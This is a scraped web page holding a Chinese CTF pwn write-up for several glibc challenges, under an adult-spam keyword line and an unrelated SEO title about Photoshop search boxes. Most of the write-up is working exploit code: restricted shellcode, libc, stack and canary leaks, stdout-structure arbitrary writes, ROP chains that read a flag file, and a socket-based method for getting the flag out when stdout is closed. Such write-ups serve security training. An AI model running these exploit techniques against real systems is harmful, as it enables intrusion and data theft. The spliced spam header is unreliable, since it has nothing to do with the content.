国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁 > news >正文

網(wǎng)站搜索框用ps怎么做長春最新發(fā)布信息

網(wǎng)站搜索框用ps怎么做,長春最新發(fā)布信息,園區(qū)網(wǎng)站建設(shè),視頻網(wǎng)站怎么做服務(wù)器文章目錄 參考hide_flag思路exp Rand_file_dockerfile libc 2.31思路exp Appetizers glibc 2.35繞過關(guān)閉標(biāo)準(zhǔn)輸出實(shí)例客戶端 關(guān)閉標(biāo)準(zhǔn)輸出服務(wù)端結(jié)果exp TTOCrv_🎲 glibc 2.35逆向DT_DEBUG獲得各個(gè)庫地址隨機(jī)數(shù)思路exp 參考 https://docs.qq.com/doc/p/641e8742c39…

文章目錄

  • 參考
  • hide_flag
    • 思路
    • exp
  • Rand_file_dockerfile libc 2.31
    • 思路
    • exp
  • Appetizers glibc 2.35
    • 繞過關(guān)閉標(biāo)準(zhǔn)輸出實(shí)例
    • 客戶端 關(guān)閉標(biāo)準(zhǔn)輸出
    • 服務(wù)端
    • 結(jié)果
    • exp
  • TTOCrv_🎲 glibc 2.35
    • 逆向
    • DT_DEBUG獲得各個(gè)庫地址
    • 隨機(jī)數(shù)
    • 思路
    • exp

參考

https://docs.qq.com/doc/p/641e8742c39d16cd6d046b18bcb251fd3ab0cd6d

hide_flag

在這里插入圖片描述
在這里插入圖片描述
open+pread+write即可

pread函數(shù)是Linux和其他類UNIX系統(tǒng)中用于文件輸入輸出的一個(gè)高級(jí)函數(shù),它允許應(yīng)用程序在讀取文件時(shí)指定一個(gè)相對(duì)于文件起點(diǎn)的絕對(duì)偏移量。
ssize_t pread(int fd, void *buf, size_t count, off_t offset);

在這里插入圖片描述
要字節(jié)碼與位置下標(biāo)的奇偶性一樣,即按照偶奇偶奇來
所以sycall這種連續(xù)兩個(gè)奇的就不行了,只能用call去使用函數(shù)了(jmp難回來)
在這里插入圖片描述

思路

剛進(jìn)入shellcode時(shí)殘留的寄存器和棧上的
在這里插入圖片描述
在這里插入圖片描述

  • pop push add sub mov xchg cmp shl xor call nop
  • 必須兩個(gè)偶或者奇就填充一個(gè)不一樣的但不影響的來滿足偶奇
  • 利用殘留的寄存器和棧上的湊出地址到寄存器里,然后call 寄存器

exp

from pwn import *context(arch='amd64',os="linux",log_level='debug')
libc = ELF('./libc.so.6')p = process('./pwn')gdb.attach(p) 
pause()#F1@g520#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883 c071      4883 c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c 01        2c 01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = libc_open
#       48b9 4631 4067 3633 3001 (F1@g520)    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#pread rax = rcx - 0x1e0b
#       51       58      51        662d 001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a 03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call raxp.sendafter(b"Please find flag's name\n", asm(pay))p.interactive()

在這里插入圖片描述

Rand_file_dockerfile libc 2.31

在這里插入圖片描述
把open關(guān)了,對(duì)read的文件描述符做了限制,不能大于2,用close把錯(cuò)誤輸出關(guān)了就行,這樣就可以read新open的文件的了,close+openat+read+write

在這里插入圖片描述
在這里插入圖片描述

ptr ^= __readfsqword(0x28u);

這一行從線程的特定位置讀取一個(gè) 64 位值并將其與 ptr 進(jìn)行異或操作。__readfsqword 是一個(gè)特殊的內(nèi)聯(lián)匯編指令,用于讀取一個(gè) 64 位值,該值位于 FS 段寄存器所指向的地址上加上偏移量 0x28。FS 段寄存器通常用來訪問當(dāng)前線程的非分頁內(nèi)存區(qū)域,比如 TLS(Thread Local Storage)。

for ( i = 0; i <= 3; ++i )
{v4 = *((_BYTE *)&ptr + i);*((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);*((_BYTE *)&ptr + 7LL - i) = v4;
}

這是一個(gè)循環(huán),用于將 ptr 中的字節(jié)順序反轉(zhuǎn)。由于 ptr 是一個(gè) 64 位變量,它由 8 個(gè)字節(jié)組成。循環(huán)從第 0 字節(jié)到第 3 字節(jié)進(jìn)行迭代(即前半部分),每次迭代都會(huì)執(zhí)行以下操作:

  • 將當(dāng)前字節(jié)的值保存在 v4 中。
  • 將當(dāng)前字節(jié)與對(duì)應(yīng)的最后一個(gè)字節(jié)進(jìn)行交換,即 i7 - i 位置的字節(jié)互換。
  • 通過將 v4 賦給 7 - i 位置的字節(jié)來完成字節(jié)的交換。

由于循環(huán)只運(yùn)行了 4 次,而 64 位值共有 8 個(gè)字節(jié),所以前 4 個(gè)字節(jié)和后 4 個(gè)字節(jié)分別在循環(huán)的前半部分和后半部分(未顯示)通過交換實(shí)現(xiàn)了整個(gè) 64 位值的字節(jié)逆序。

fwrite(&ptr, 1uLL, 8uLL, stdout);
fflush(stdout);

這兩行代碼將逆序后的 ptr 值寫入標(biāo)準(zhǔn)輸出流 stdout。fwrite 函數(shù)的第一個(gè)參數(shù)是指向要寫入數(shù)據(jù)的指針,第二個(gè)參數(shù)是每個(gè)元素的大小(在這里每個(gè)字節(jié)是 1),第三個(gè)參數(shù)是要寫入的元素?cái)?shù)量(這里是 8),第四個(gè)參數(shù)是目標(biāo)文件流。fflush 則用于刷新輸出緩沖區(qū),確保所有數(shù)據(jù)都被立即寫出。

write(1, "\n", 1uLL);
return 0LL;

write 函數(shù)用于向文件描述符 1(通常代表標(biāo)準(zhǔn)輸出 stdout)寫入一個(gè)換行符,然后函數(shù)返回 0LL,表示程序正常結(jié)束。

在這里插入圖片描述

  1. *a1 ^= *a2;
    這一行使用異或運(yùn)算符 ^a1 指向的值與 a2 指向的值進(jìn)行異或操作,并將結(jié)果存儲(chǔ)回 a1 指向的位置。異或操作有這樣一個(gè)性質(zhì):任何數(shù)與自身進(jìn)行異或操作的結(jié)果為零;任何數(shù)與零進(jìn)行異或操作的結(jié)果為其本身。

  2. *a2 ^= *a1;
    這里再次使用異或操作,這次是在 a2 指向的值與現(xiàn)在 a1 指向的新值之間進(jìn)行。由于 a1 現(xiàn)在的值實(shí)際上是 *a1 ^ *a2,那么 (*a2) ^ (*a1 ^ *a2) 的結(jié)果將是 *a1 的原始值。這個(gè)結(jié)果現(xiàn)在存儲(chǔ)到了 a2 指向的位置。

  3. result = a1;
    這行代碼實(shí)際上并不參與值的交換過程,它只是將 a1 的值賦給了 result 變量。這里可能是為了返回一個(gè)值,但實(shí)際上 result 的值并沒有在交換過程中改變,所以這行代碼可能是為了符合函數(shù)聲明的返回類型,或者是出于其他目的(如指示調(diào)用者哪個(gè)指針的值先被改變了)。

  4. *a1 ^= *a2;
    最后一步再次執(zhí)行異或操作,這次是在 a1 指向的值與現(xiàn)在 a2 指向的新值之間。由于 a2 現(xiàn)在的值實(shí)際上是 a1 的原始值,那么 (*a1 ^ *a2) ^ *a1 的結(jié)果將是 a2 的原始值。這個(gè)結(jié)果現(xiàn)在存儲(chǔ)到了 a1 指向的位置。

在這里插入圖片描述

setenv 函數(shù)在C編程語言中用于在進(jìn)程中設(shè)置或修改環(huán)境變量。它在 stdlib.h 頭文件中聲明,可以用來在程序運(yùn)行時(shí)動(dòng)態(tài)地改變環(huán)境變量的值。setenv 函數(shù)的原型如下:

#include <stdlib.h>int setenv(const char *name, const char *value, int overwrite);

函數(shù)的參數(shù)如下:

  • name:一個(gè)指向 char 類型的指針,表示環(huán)境變量的名字。
  • value:一個(gè)指向 char 類型的指針,表示環(huán)境變量的新值。
  • overwrite:一個(gè) int 類型的值,表示是否覆蓋已存在的同名環(huán)境變量。如果此參數(shù)為非零值,那么即使變量已經(jīng)存在也會(huì)被覆蓋;如果為零,且變量已存在,那么函數(shù)將不做任何事。

函數(shù)的返回值是一個(gè)整數(shù),如果函數(shù)成功,返回值為0;如果失敗,則返回非零值。

下面是一個(gè)使用 setenv 函數(shù)的例子:

#include <stdlib.h>
#include <stdio.h>int main() {// 設(shè)置環(huán)境變量 TEST_VAR 為 "Hello World"if (setenv("TEST_VAR", "Hello World", 1) != 0) {perror("setenv error");return 1;}// 獲取環(huán)境變量 TEST_VAR 的值并打印char *value = getenv("TEST_VAR");if (value != NULL) {printf("Environment variable TEST_VAR is set to: %s\n", value);} else {printf("Environment variable TEST_VAR is not set.\n");}return 0;
}

需要注意的是,setenv 設(shè)置的環(huán)境變量?jī)H在當(dāng)前進(jìn)程及其子進(jìn)程中有效,不會(huì)影響到父進(jìn)程或其他無關(guān)進(jìn)程的環(huán)境變量。此外,當(dāng)程序結(jié)束時(shí),這些環(huán)境變量也不會(huì)保存到系統(tǒng)中,除非有其他的機(jī)制(比如在腳本中重新設(shè)置環(huán)境變量)將它們持久化。

思路

在這里插入圖片描述

調(diào)試有點(diǎn)麻煩,因?yàn)閞un里面嵌了個(gè)絕對(duì)地址,是在搭建的鏡像中的,只能patch掉再在本地調(diào)試
通過swap實(shí)現(xiàn)交換棧上地址八個(gè)字節(jié)的內(nèi)容

在這里插入圖片描述
實(shí)現(xiàn)無限重復(fù)循環(huán)main函數(shù)
然后自己和自己交換就不變還是零,此時(shí)會(huì)break然后通過下面和canary的異或可以泄露,上面作為一系列泄露的最后部分

泄露libc地址,最后交換到ptr位置然后控制好返回地址后再原位置交換然后輸出和canary異或的結(jié)果,通過之前已經(jīng)泄露的canary(不交換ptr的值,0和canary異或的值還是canary)再次異或得到原來結(jié)果
在這里插入圖片描述
在這里插入圖片描述
然后同樣方式泄露stack地址
在這里插入圖片描述

然后最妙的是通過call swap函數(shù)當(dāng)前的棧上某個(gè)地址得到棧地址內(nèi)容進(jìn)行固定偏移得到下次循環(huán)時(shí)候swap的對(duì)應(yīng)的ptr的地址,然后通過libc地址得到stdout地址后計(jì)算到下次ptr的偏移,就可以對(duì)stdout結(jié)構(gòu)體修改
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
通過和stdout的內(nèi)容交換來任意地址讀,將棧上存有大量的指向環(huán)境變量的棧地址(某些棧地址對(duì)應(yīng)的內(nèi)容是到libc地址)泄露出來,從而得到大量棧地址,并保存尾地址為合適的棧地址(如需要修改第三個(gè)字節(jié),就尋找棧地址末尾為3或者b,這往其交換時(shí)候此時(shí)最后一個(gè)字節(jié)正好是棧地址+8的的第三個(gè)字節(jié),正好對(duì)應(yīng)ptr和canary異或然后反轉(zhuǎn)的最后一個(gè)字節(jié),也就是ptr的第一個(gè)字節(jié))

由于我們只能交換,不能寫,唯一的輸入機(jī)會(huì)就是call swap之前input,由于swap函數(shù)和input函數(shù)是同一級(jí)的,會(huì)存在棧幀重疊的部分,所以我們可以通過input函數(shù)殘留的變量然后通過swap來寫其他位置(對(duì)調(diào)用input的棧幀中殘留的寫入的變量進(jìn)行利用,swap寫到棧上的另一個(gè)位置)

在這里插入圖片描述
構(gòu)造pop rdi ret和gets函數(shù)地址,寫到返回地址,然后輸入rop

利用swap將當(dāng)前棧上的libc地址和棧地址為3或b的地址+5的位置交換,然后利用swap交換_IO_write_ptr和_IO_write_end設(shè)置要寫的棧上的地址,控制好ptr的值,使得經(jīng)過異或后寫的第八個(gè)高字節(jié)(對(duì)應(yīng)輸入的第一個(gè)字節(jié)和canary異或)正好修改殘留的libc倒數(shù)的第三個(gè)字節(jié),然后同樣方法修改第二個(gè)字節(jié)和第一個(gè)字節(jié)

stdout的任意寫,需要構(gòu)造:
fp -> _IO_write_ptr和fp -> _IO_write_end,指向要寫的位置。寫的內(nèi)容為要寫入文件的變量的內(nèi)容。偏移為0x28和0x30。
調(diào)用寫入文件的一些函數(shù)例如fwrite、fputs。

在這里插入圖片描述
當(dāng)修改后需要將這個(gè)棧地址的內(nèi)容和某個(gè)固定位置交換下來保存,當(dāng)要修改倒數(shù)第二個(gè)字節(jié)時(shí),需要找到末尾為2或者a的棧地址,然后之前的保存的位置的內(nèi)容和棧地址+6的交換,那么當(dāng)從棧地址寫入8個(gè)字節(jié)時(shí),即可修改棧地址+6的第二個(gè)字節(jié),即在之前修改第三個(gè)字節(jié)基礎(chǔ)上修改了第二個(gè)字節(jié),第一個(gè)字節(jié)同理。最后修改完成的libc地址也存到一個(gè)地方

利用swap將棧上的pie地址相關(guān)的內(nèi)容和棧地址末尾為2或者a的地址+5交換,然后方法和上面一樣,最終要將其改成pop rdi ;ret對(duì)應(yīng)的地址,最后的地址也保存到一個(gè)地方
在這里插入圖片描述
然后將保存的地址移動(dòng)到返回地址處,rdi參數(shù)構(gòu)造為之前的泄露的棧地址。get函數(shù)后還是要交換為start函數(shù)地址(因?yàn)檩斎雛op后最后還要進(jìn)入main函數(shù)進(jìn)行交換操作到返回地址構(gòu)成rop),然后將rop輸入到棧地址部分
在這里插入圖片描述
最后先將棧地址開始處的文件名交換到固定位置,然后將rop部分swap到棧的返回地址部分就行(輸入的rop 文件名+close+orw)

exp

from pwn import *
import struct
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
p = process("./change_run")def lg(msg, addr=None):if addr is not None:log.info(f"{msg} {addr}")else:log.info(msg)
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
ia = lambda : p.interactive()def swap(num1,num2):ru(b'11? >\n')s(str(num1))ru(b'77! >\n')s(str(num2))def leak(C, canary): # A^B = C bytes_C = C.to_bytes(8, byteorder='little')swapped_bytes = list(bytes_C)for i in range(4):swapped_bytes[i], swapped_bytes[7 - i] = swapped_bytes[7 - i], swapped_bytes[i]reversed_bytes = bytes(swapped_bytes)reversed_int = int.from_bytes(reversed_bytes, byteorder='little')original_data = reversed_int ^ canaryreturn original_data# 泄露stack  
def get_now_stack_ptr(canary):swap(7,0)swap(5,12)swap(0,0)tmp = u64(p.recv(8))stack_ptr_dbb8_daa0 = leak(tmp,canary)stack_ptr = stack_ptr_dbb8_daa0 -0x1f8 # 下一輪0x1f8lg("Now ptr is",hex(stack_ptr))return stack_ptr# find可用地址
def get_addr(io_s,canary): #  打印start_addr棧開始的所有內(nèi)容now_ptr = get_now_stack_ptr(canary)# 構(gòu)造任意讀offest_1 = (io_s - now_ptr) // 8    # write_ptroffest_0 = offest_1 - 1  # write_base offest__1 = offest_0 - 2    # read_end offest_8 = offest_1 + 7 # file_namelg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(5,12)# 28swap(1,0) # ptr = 1swap(offest__1,22) # write_base 0x7fff4db29ec0swap(offest_0,13) # write_ptr 0x7fff4db29ec0swap(offest_1,200) # write_end 0x7fff4db2ceecswap(offest_8,0) # file_name = 1 swap(0,0)tmp = p.recv(1000)  # 接收1000字節(jié)print(tmp)addresses = struct.unpack('125Q', tmp)  memory_dict = {i * 8: addr for i, addr in enumerate(addresses)}match_offsets_2a = []match_offsets_19 = []match_offsets_3b = []for offset, addr in memory_dict.items():last_byte = addr & 0xFFif last_byte % 16 == 2 or last_byte % 16 == 10:print(f"Match the addr last is 2/a, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_2a.append((offset // 8, addr))  if last_byte % 16 == 1 or last_byte % 16 == 9:print(f"Match the addr last is 1/9, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_19.append((offset // 8, addr)) if last_byte % 16 == 3 or last_byte % 16 == 11:print(f"Match the addr last is 3/b, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_3b.append((offset // 8, addr)) return match_offsets_2a, match_offsets_19,match_offsets_3b# int _flags   0
# char* _IO_read_ptr;   /* Current read pointer */  8      
# char* _IO_read_end;   /* End of get area. */   16      
# char* _IO_read_base;  /* Start of putback+get area. */  24      
# char* _IO_write_base; /* Start of put area. */    
# char* _IO_write_ptr;  /* Current put pointer. */ 
# char* _IO_write_end;  /* End of put area. */ 
# char* _IO_buf_base;   /* Start of reserve area. */  
# char* _IO_buf_end;    /* End of reserve area. */   
# # # #
# char *_IO_save_base; /* Pointer to start of non-current get area. */
# char *_IO_backup_base;  /* Pointer to first valid character of backup area */
# char *_IO_save_end; /* Pointer to end of non-current get area. */
# ### #
# int _fileno;# 在ptr內(nèi)存中存儲(chǔ)1個(gè)字節(jié)
def read_1(data,canary): # stack_ptr + 6  feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)def change_3(stack_start,addr_2a,addr_2a_offest,offset_bechange,data,io_s,canary,i): #修改倒數(shù)第三位字節(jié)print("addr_2a",addr_2a)now_ptr = get_now_stack_ptr(canary)feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)if offset_bechange != 12 and offset_bechange != 10:offset_bechange = (stack_start-now_ptr) // 8# 先將要修改的內(nèi)容change放到addr_2a 的addr_28,完整的下一個(gè)swap(5,12)addr_28 = addr_2a - i%4 + 8offset_change_0 = (addr_28 - now_ptr)// 8 print("stack_start",stack_start)print("addr_2a",addr_2a)print("addr_28",addr_28)print("addr_2a_offest",addr_2a_offest)swap(offset_bechange,offset_change_0) # 改io到特定地址,io任一寫offset_change_2 = (stack_start-now_ptr) // 8 + addr_2a_offest   #末尾為2/a#store tmp to da90offest_1 = (io_s - now_ptr) // 8  # ptroffest_2 = offest_1 + 1 # end# offest_0 = offest_1 - 1  # write_slg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(offest_1,offset_change_2)  # weite_ptrswap(offest_2,offset_change_2+10*i)   #warte_end   swap(0,0)#將換完的內(nèi)容放到固定位置now_ptr -= 224 offset_change_0 = (addr_28 - now_ptr)// 8swap(5,12)swap(offset_change_0,(stack_start-now_ptr) // 8) #放到固定棧那里swap(0,0)# 泄露canary   
swap(5,12)
swap(0,0)
canary = u64(p.recv(8))
lg("canary is",hex(canary))# 泄露io_addr   
swap(-2,0)
swap(5,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_902e8 = leak(tmp,canary)stdout = libc_902e8 - (0x902e8-0x8c6a0)
write_s = stdout + 8*5 #0x28
write_e = stdout + 8*6 #0x30
lg("stdout is",hex(stdout))#指向環(huán)境變量的棧地址,以不同字節(jié)結(jié)尾
swap(5,12)
swap(13,0) 
swap(0,0)
tmp = u64(p.recv(8))
leak_stack = leak(tmp,canary)
print("leak_stack",hex(leak_stack))# match_offsets_2a, match_offsets_19,match_offsets_3b= get_addr(write_s,canary)
addr_1_offest,addr_1 = match_offsets_19[1]
addr_2_offest,addr_2 = match_offsets_2a[1]
addr_3_offest,addr_3 = match_offsets_3b[1]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))
lg("use 3b is :",hex(addr_3))# 泄露libcbase  
swap(5,12)
swap(0,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_start_243 = leak(tmp,canary)
libcbase = libc_start_243 - libc.sym['__libc_start_main'] - 243
lg("libcbase is",hex(libcbase))gets_addr = libcbase+libc.sym['gets']
change_num = gets_addr & 0xFFFFFF
lg("the change 3 bytes for libcstart ",hex(change_num))
high_byte = (change_num >> 16) & 0xFF
next_byte = (change_num >> 8) & 0xFF
last_bytes = change_num & 0xFFchange_3(leak_stack,addr_3,addr_3_offest,12,high_byte,write_s,canary,3) #改libc的倒數(shù)第三個(gè)字節(jié)
change_3(leak_stack,addr_2,addr_2_offest,0,next_byte,write_s,canary,2) # 修改倒數(shù)第二個(gè)字節(jié)
change_3(leak_stack,addr_1,addr_1_offest,0,last_bytes,write_s,canary,1) # 修改最后個(gè)字節(jié)   #存儲(chǔ)libc_在棧地址now_ptr = get_now_stack_ptr(canary)
gets_addr = leak_stack - 16
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-2)
lg("gets_addr is",hex(gets_addr))# pie  
swap(5,12)
swap(0,9)
swap(0,0)
tmp = u64(p.recv(8))
main_153c = leak(tmp,canary)
mainbase = main_153c - 0x153c
lg("mainbase is",hex(mainbase))pop_rdi  = mainbase + 0x1753
change_pop = pop_rdi & 0xFFFF
next_byte = (change_pop >> 8) & 0xFF
last_byte = change_pop & 0xFF
lg("the change 2 bytes for pop_rdi ",hex(change_pop))addr_1_offest,addr_1 = match_offsets_19[2]
addr_2_offest,addr_2 = match_offsets_2a[2]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))change_3(leak_stack,addr_2,addr_2_offest,10,next_byte,write_s,canary,6) # 修改倒數(shù)第二個(gè)字節(jié)change_3(leak_stack,addr_1,addr_1_offest,0,last_byte,write_s,canary,5) # 修改最后兩個(gè)字節(jié)   #存儲(chǔ)libc_在棧地址now_ptr = get_now_stack_ptr(canary)
pop_rdi_addr = leak_stack - 24
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-3)
lg("pop_rdi_addr is",hex(pop_rdi_addr))swap(5,(leak_stack-now_ptr) // 8-3) # pop_rdi
swap(6,13) # stack
swap(7,(leak_stack-now_ptr) // 8-2) # libc_getsswap(8,12) # libc_mainswap(0,0)
lg("Wait set rop")pop_rdi  = libcbase + 0x23b6a
pop_rdx_r12 = libcbase + 0x119431
pop_rsi = libcbase + 0x2601f
pop_rax = libcbase + 0x36174
pop_rdx_rbx = libcbase + 0x15fae6
syscall = libcbase + 0x630a9
reads  = libcbase+libc.sym['read']
openat = libcbase+libc.sym['openat']
writes   = libcbase+libc.sym['write']payload = (b'./flag').ljust(8,b'\x00') + p64(pop_rdi) + p64(2) + p64(pop_rax) + p64(3) + p64(syscall)
payload += p64(pop_rdi) + p64(0xffffff9c) + p64(pop_rsi) + p64(leak_stack) + p64(pop_rdx_rbx) + p64(0x100) * 2 + p64(pop_rax) + p64(257) + p64(syscall)
payload += p64(pop_rdi) + p64(2) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(reads)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(writes)sl(payload)now_ptr = get_now_stack_ptr(canary)
offset = (leak_stack - now_ptr) // 8# gdb.attach(p)
# pause()for i in range(len(payload) // 8 ):swap(i + offset , 5 + i)swap(0,0)ia()

在這里插入圖片描述

Appetizers glibc 2.35

在這里插入圖片描述
open+read(count=0x9j就行)+write
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
原始的stdout->write_ptr和 stout->write_base相等,因?yàn)闊o緩沖模式,然后單字節(jié)高位改變stdout->write_ptr增大
在這里插入圖片描述
從而泄露棧地址和heap地址

繞過關(guān)閉標(biāo)準(zhǔn)輸出實(shí)例

在這里插入圖片描述
由于關(guān)閉了標(biāo)準(zhǔn)輸出和輸入,此時(shí)open+read將flag讀到內(nèi)存中了,此時(shí)需要將flag從內(nèi)存輸出,由于關(guān)閉標(biāo)準(zhǔn)輸出,并且也不能重新打開標(biāo)準(zhǔn)輸出,重定向也不可。所以需要socket連接到本地的一個(gè)socker,此時(shí)新建socker然后連接本地的,然后再將flag寫到這個(gè)連接,從而寫到本地的服務(wù)socket中。

客戶端 關(guān)閉標(biāo)準(zhǔn)輸出

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int sock = 0;struct sockaddr_in serv_addr;char buffer[BUFFER_SIZE] = {0};char *message = "flag{zhiyinnitaimei}";// 創(chuàng)建socketif ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {perror("Socket creation error");return -1;}serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(PORT);// 將IP地址從字符串轉(zhuǎn)換為二進(jìn)制形式if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {perror("Invalid address/ Address not supported");return -1;}// 連接到服務(wù)器if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {perror("Connection Failed");return -1;}// 使用write發(fā)送消息close(1);ssize_t bytes_written = write(sock, message, strlen(message));if (bytes_written < 0) {perror("Write failed");return -1;}printf("Message sent: %s\n", message);printf("Bytes written: %zd\n", bytes_written);// 接收服務(wù)器的回顯ssize_t bytes_read = read(sock, buffer, BUFFER_SIZE - 1);if (bytes_read < 0) {perror("Read failed");return -1;}buffer[bytes_read] = '\0';  // 確保字符串正確終止printf("Server echo: %s\n", buffer);printf("Bytes read: %zd\n", bytes_read);// 關(guān)閉socketclose(sock);return 0;
}

服務(wù)端


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int server_fd, new_socket;struct sockaddr_in address;int opt = 1;int addrlen = sizeof(address);char buffer[BUFFER_SIZE] = {0};// 創(chuàng)建socket文件描述符if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {perror("socket failed");exit(EXIT_FAILURE);}// 設(shè)置socket選項(xiàng)if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {perror("setsockopt");exit(EXIT_FAILURE);}address.sin_family = AF_INET;address.sin_addr.s_addr = INADDR_ANY;address.sin_port = htons(PORT);// 綁定socket到指定端口if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {perror("bind failed");exit(EXIT_FAILURE);}// 開始監(jiān)聽連接if (listen(server_fd, 3) < 0) {perror("listen");exit(EXIT_FAILURE);}printf("Server listening on port %d\n", PORT);while(1) {// 接受新的連接if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {perror("accept");exit(EXIT_FAILURE);}// 讀取客戶端消息int valread = read(new_socket, buffer, BUFFER_SIZE);printf("Received: %s\n", buffer);// 發(fā)送回顯消息send(new_socket, buffer, strlen(buffer), 0);printf("Echo message sent\n");close(new_socket);}return 0;
}

結(jié)果

在這里插入圖片描述
在這里插入圖片描述

exp

最后寫rop在mmap位置,然后寫stack然后棧遷移(棧地址也大于0x70FFFFFFFFFFLL),最后rop,
在這里插入圖片描述
open+read+socker+connect+write

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'libc = ELF("./libc.so.6")
io = process('./pwn')stdout_offset = 0x220780+ 0x28+0x1 # change 0x28  _IO_write_ptrio.sendafter(b"start.",p8(0xbb^0xb8) + p64(stdout_offset))
# sendline result in next while break 
io.recv(5)
data = b''
while(1):dd = io.recv(timeout=1)if dd==b'':breakdata += ddprint("data",data)libc_base = u64(data[0x5:0xb].ljust(8,b"\x00")) -0x1ca70-0x200000
stack     = u64(data[0x21d:0x21d+6].ljust(8,b"\x00"))print("libc_base",hex(libc_base))
print("stack",hex(stack))libc.address = libc_base
libc_rop=ROP(libc)
pop_rax = libc_base+0x0000000000045eb0
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx = libc_base+0x00000000000904a9
leave_ret =libc_base+0x000000000004da83
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]print("pop_rax",hex(pop_rax))
print("pop_rdi",hex(pop_rdi))
print("pop_rsi",hex(pop_rsi))
print("pop_rdx",hex(pop_rdx))
print("leave_ret",hex(leave_ret))
